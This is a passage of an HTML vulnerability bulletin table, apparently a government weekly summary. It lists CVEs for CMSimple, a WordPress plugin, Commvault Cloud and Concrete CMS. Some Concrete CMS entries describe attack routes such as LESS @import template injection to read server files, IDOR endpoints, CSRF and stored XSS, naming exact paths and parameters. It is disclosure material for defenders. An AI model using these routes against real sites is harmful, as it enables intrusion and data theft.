&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47839&quot; target=&quot;_blank&quot;&gt;CVE-2026-47839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CMSimple--CoAuthors plugin&lt;/td&gt;
&lt;td&gt;A code execution vulnerability exists in CMSimple 5.22 in the CoAuthors plugin. An authenticated low-privileged user who can modify page content and provide controlled imported content can trigger server-side execution by referencing crafted external or uploaded text content through the affected content import feature.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78834&quot; target=&quot;_blank&quot;&gt;CVE-2026-78834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CODE MONKEYS PROPOSALS--CODE MONKEYS PROPOSALS&lt;/td&gt;
&lt;td&gt;The CODE MONKEYS PROPOSALS WordPress plugin through 1.0.1 does not validate a user-supplied file path before deleting a file, and does not check the capability of the user making the request, allowing any authenticated user, such as a subscriber, to delete arbitrary files on the server, which can lead to a site takeover.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77005&quot; target=&quot;_blank&quot;&gt;CVE-2026-77005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;Command Center API contained an authentication bypass issue affecting privilege management. Software customers upgrade to resolved maintenance release. Update Command Center.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77089&quot; target=&quot;_blank&quot;&gt;CVE-2026-77089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;DataCube contained a path traversal issue affecting security feature enforcement. Software customers upgrade to resolved maintenance release. Update Content Extractor and Index Store.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77091&quot; target=&quot;_blank&quot;&gt;CVE-2026-77091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;Content Extractor contained a deserialization of untrusted data issue affecting privilege management. Software customers upgrade to resolved maintenance release. Update Content Extractor.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77092&quot; target=&quot;_blank&quot;&gt;CVE-2026-77092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;Private Metrics Server contained a missing authentication condition affecting metrics upload functionality and service availability. Software customers upgrade to resolved maintenance release. Update Private Metrics Server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77097&quot; target=&quot;_blank&quot;&gt;CVE-2026-77097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;Private Metrics Server contained an SQL injection condition affecting database operations. Software customers upgrade to resolved maintenance release. Update Private Metrics Server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77098&quot; target=&quot;_blank&quot;&gt;CVE-2026-77098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;CommServe contained a stack-based buffer overflow issue affecting service availability. Software customers upgrade to resolved maintenance release. Update CommServe.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77101&quot; target=&quot;_blank&quot;&gt;CVE-2026-77101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;CommServe contained a heap-based buffer overflow issue affecting service availability. Software customers upgrade to resolved maintenance release. Update CommServe.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77102&quot; target=&quot;_blank&quot;&gt;CVE-2026-77102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;CommServe contained an authentication bypass issue affecting access authorization and information disclosure. Software customers upgrade to resolved maintenance release. Update CommServe.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77103&quot; target=&quot;_blank&quot;&gt;CVE-2026-77103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;CommServe contained a path traversal issue affecting information disclosure. Software customers upgrade to resolved maintenance release. Update CommServe.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77104&quot; target=&quot;_blank&quot;&gt;CVE-2026-77104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;CommServe contained a cryptographic signature verification issue affecting privilege management. Software customers upgrade to resolved maintenance release. Update CommServe and Web Server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77105&quot; target=&quot;_blank&quot;&gt;CVE-2026-77105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Commvault--Commvault Cloud&lt;/td&gt;
&lt;td&gt;Cvlaunchd contained a missing authorization issue affecting command execution authorization. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including Commserve, Webserver, Command Center, Media Agents, Clients and HyperScale X.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77106&quot; target=&quot;_blank&quot;&gt;CVE-2026-77106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.5.2 and below is vulnerable to an authorization bypass (IDOR) because the frontend calendar lightbox endpoint (/ccm/calendar/view_event/{bID}/{occurrence_id}) does not verify that the caller is permitted to view the calendar that owns the requested event occurrence. The controller loads the occurrence directly from an attacker supplied, sequential identifier without confirming that it belongs to the calendar configured on the referenced block. An unauthenticated visitor who can render any public calendar block with lightbox properties enabled could therefore supply an arbitrary occurrence identifier and disclose event metadata - title, date, description, page link, and configured event attributes - from calendars they are not permitted to view. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18121&quot; target=&quot;_blank&quot;&gt;CVE-2026-18121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.2.0 to 9.5.2 Express REST API list endpoint exposes restricted Express entries via Missing Authorization; the Concrete CMS REST API&#039;s Express entry collection endpoint disabled the per-entry view permission check. An OAuth token with read scope for an Express entity could enumerate entries that its user context lacked permission to view, disclosing each entry&#039;s public identifier, URL, label, dates, and any attribute or associated-entry data requested via the includes parameter.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18122&quot; target=&quot;_blank&quot;&gt;CVE-2026-18122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 did not validate an anti-CSRF token in the Calendar event duplicate dialog controller (concrete/controllers/dialog/event/duplicate.php) submit() action, which duplicated a calendar event after checking only canAccess() and the per-resource canAddCalendarEvent() permission, so a crafted cross-site request could cause an authenticated user with add-event permission to create duplicate CalendarEvents and CalendarEventVersions records under their own authority.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N.&amp;nbsp;Thanks Winston Crooker&amp;nbsp;for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68526&quot; target=&quot;_blank&quot;&gt;CVE-2026-68526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS versions 8.3.0 through 9.5.2 are vulnerable to an authorization bypass in the Calendar event edit dialog (concrete/controllers/dialog/event/edit.php). The dialog checked permissions against the calendar identifier supplied in the request rather than the calendar owning the targeted event occurrence. A user with the &quot;Add Event&quot; permission on a single calendar could read and overwrite events on calendars they were not permitted to access, and could delete an event&#039;s original local occurrence. Publishing the injected version to the live calendar, which demotes the previously approved version, additionally required the actor&#039;s approve_calendar_event workflow rights or an auto-approving workflow. The Concrete CMS Security Team gave this a rank of 5.9 with CVSS 4.0 vector&amp;nbsp;CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68527&quot; target=&quot;_blank&quot;&gt;CVE-2026-68527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS RSS Displayer block below version 9.5.3 rendered remote feed item titles without HTML escaping, resulting in stored cross-site scripting. An attacker able to control a title in a syndicated feed could execute script in the site origin for any visitor to the affected page, including administrators, without holding an account on that site.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68528&quot; target=&quot;_blank&quot;&gt;CVE-2026-68528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS Area API&#039;s block-create endpoint in versions 9.2.0 to 9.5.2 did not invoke the block type controller&#039;s validate() method on submitted data, which, for file-referencing blocks such as hero_image and gallery, is where the referenced file is authorized against the user&#039;s file-manager visibility. As a result, an authenticated user holding the block-add scope could store, and cause the page to render, a reference to a file that the file-manager authorization policy would otherwise reject, disclosing that file&#039;s URL and preview to the editor and to visitors of the affected page. Under public file storage, the URL and thumbnail are exposed directly; under private storage, the disclosure is limited by the permission-checked download URL.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68535&quot; target=&quot;_blank&quot;&gt;CVE-2026-68535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 registered view assets for every sub-block of a Stack, Container, or layout area without checking whether the requesting user could view that sub-block. An unauthenticated visitor could recover configuration values emitted by a restricted sub-block&#039;s asset registration - such as a site&#039;s configured Google Maps API key - from any public page embedding an affected Stack, Container, or layout area, despite the block-level permission restriction. Any sub-block type whose asset or header hooks output configuration values is affected.&amp;nbsp; The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of&amp;nbsp;6.3 with vector&amp;nbsp;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks&amp;nbsp;Yonatan Drori (Tenzai) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81904&quot; target=&quot;_blank&quot;&gt;CVE-2026-81904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 stores user validation hashes for multiple purposes (email/registration validation, password reset, and persistent login) in a single table with a type column, but the redemption path resolves a hash by value alone and does not verify its type. As a result, a hash issued for one purpose can be redeemed for another: a long-lived registration hash (60-day expiry) can be submitted to the password-change endpoint to set a new password on the target account, and a password-reset hash can be submitted to the email-validation endpoint to activate an account. Exploitation requires the attacker to first obtain a valid hash through a separate channel (for example email interception, log exposure, or SSRF against an internal mail relay), so the flaw amplifies the impact of any hash disclosure rather than creating a standalone entry point. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81905&quot; target=&quot;_blank&quot;&gt;CVE-2026-81905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS OAuth callback login path prior to version 9.5.3 did not check whether an account was active or email-validated before establishing a session. A deactivated or unvalidated user with an existing OAuth binding could complete authentication and receive a session that was fully authenticated for the callback response, with the login recorded and login events dispatched.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81906&quot; target=&quot;_blank&quot;&gt;CVE-2026-81906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.5.2 and below is vulnerable to Cross-Site Request Forgery (CSRF) in the Express &quot;Clear Entries&quot; function (POST /index.php/dashboard/system/express/entities/delete_entries) because the controller records but does not enforce a failed CSRF token check, allowing the destructive operation to proceed when the token is missing or invalid. A remote unauthenticated attacker can force an authenticated administrator who visits an attacker-controlled page to permanently delete all entries belonging to an attacker-selected Express entity on a web application to which the administrator is currently authenticated. Because the default Contact Express object ships with a fixed entity UUID, the target identifier can be obtained without dashboard access.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Pratik Zanjurne for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81907&quot; target=&quot;_blank&quot;&gt;CVE-2026-81907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.2.0 to 9.5.2 contain a missing authorization vulnerability in the REST API Groups list endpoint. The listGroups() method in concrete/src/Api/Controller/Groups.php registers a permissions checker callback that unconditionally returns true, so no per-object (tree node) authorization is enforced when the group collection is returned. An authenticated user whose API token carries the groups:read scope can call GET /ccm/api/1.0/groups and receive every group on the site regardless of the view permissions on those groups, disclosing the organization&#039;s group structure, roles, and access hierarchy.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81908&quot; target=&quot;_blank&quot;&gt;CVE-2026-81908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 is vulnerable to Missing Authorization in the block alias route (Process::alias() in concrete/controllers/backend/block/process.php).It does not verify that the referenced block is genuinely orphaned on the target page, nor that the caller holds any permission over the source block. A user granted only an area-scoped add_block_to_area delegation on their own page can therefore pass any block ID on the site: the source block&#039;s content is duplicated into an area the rogue editor controls, disclosing that content, and the original block is then force-deleted in the same request, destroying arbitrary site content.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81909&quot; target=&quot;_blank&quot;&gt;CVE-2026-81909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 is vulnerable to Server-Side Template Injection (SSTI) in Theme Customizer via Unvalidated Style Values. Values submitted through the customizer (color channels and other style properties handled by ColorStyle and sibling Style classes such as FontFamilyStyle and ImageStyle) are interpolated into server-compiled LESS source without neutralization of LESS syntax, allowing a user with the Theme Customization permission to inject arbitrary LESS directives. By injecting the @import (inline) directive, an attacker can read arbitrary files on the server and reach internal network resources through PHP stream wrappers. The compiled output, including any disclosed file contents, is written to the site&#039;s publicly served CSS cache, exposing database credentials, private keys, and other application secrets, and enabling server-side request forgery.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81910&quot; target=&quot;_blank&quot;&gt;CVE-2026-81910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS versions 9.0.0 to 9.5.2 is vulnerable to Stored XSS in Board Custom Slot dialog. The custom_slot save_template endpoint authorizes the request only against the target board instance (canEditBoardContents()) and then persists the client-supplied selectedTemplateOption[collection] verbatim, rather than rebuilding the content object collection server-side and verifying that each item belongs to the authorized board&#039;s data pool. A user with permission to edit the contents of at least one board instance can therefore store a forged summary object whose description field carries a JavaScript-bearing HTML payload. The default summary template renders the description field without output encoding, so the payload executes in the browser of any user who views the affected board slot, including anonymous front-end visitors and dashboard users who preview the resulting rule or block. This can enable session or action takeover and escalation toward an administrator. Concrete CMS versions below 9 do not include the Boards feature and are not affected.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.8 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81911&quot; target=&quot;_blank&quot;&gt;CVE-2026-81911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 is vulnerable to Cross-Site Request Forgery in the Move Multiple Groups feature. The dashboard/users/groups/bulkupdate/confirm() endpoint moved the selected group tree nodes without validating an action token, so a state-changing group move could be processed for an authenticated user who did not initiate it. Because relocating a group under a new parent causes that group&#039;s members to inherit the parent&#039;s permissions, a forged move can change effective authorization.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.7 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81912&quot; target=&quot;_blank&quot;&gt;CVE-2026-81912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS versions 9.5.0 through 9.5.2 are vulnerable to Open Redirect via the rcURL parameter. An attacker can craft a single link on the site&#039;s own domain that sends a user to an arbitrary external site immediately after authentication, facilitating phishing and credential theft. The same handling is present in the registration flow, giving a second entry point on sites with registration enabled. Concrete CMS versions prior to 9.5.0 do not include the rcURL parameter or this allowlist and are not affected.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Michal M. for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81913&quot; target=&quot;_blank&quot;&gt;CVE-2026-81913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 does not perform an object-level authorization check when a Page Type was updated. The Types::submit() dashboard controller loaded and saved the Page Type identified by a user-supplied ptID without calling canEditPageType(), so a signed-in dashboard user permitted to edit one Page Type could modify the configuration of Page Types outside their assigned authorization boundary. The update_page_type token was validated but is action- and user-scoped rather than object-scoped, so it did not constrain which Page Type could be targeted.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81915&quot; target=&quot;_blank&quot;&gt;CVE-2026-81915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 evaluated the authorization check for an Express entry submission against the entity of the posted form rather than the entity identified by the dashboard route. As a result, a user permitted to add entries to one Express object could create entries in a different Express object outside their authorization scope, potentially polluting protected datasets, triggering workflows, or injecting content into administrative processes. The dashboard submit route resolved the mutated entity from the attacker-controlled route ID while the permission check validated the independently posted form&#039;s entity, and the submission proceeded because the two entities were never compared.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai&amp;nbsp;for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81916&quot; target=&quot;_blank&quot;&gt;CVE-2026-81916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 does not apply HTML output escaping to the file description and tags fields when rendering the Document Library block, so a user with permission to edit file properties could store a script payload that executed in the browser of any visitor to a page displaying the block with the description or tags column enabled, including unauthenticated visitors. Successful exploitation could allow theft of session data or actions performed in the visitor&#039;s context. The block controller returned the description and tags values without the h() escaping already applied to the title column, and the block view template wrote the returned value directly into the results table&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N. Thanks Nguyen Manh Thuan for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
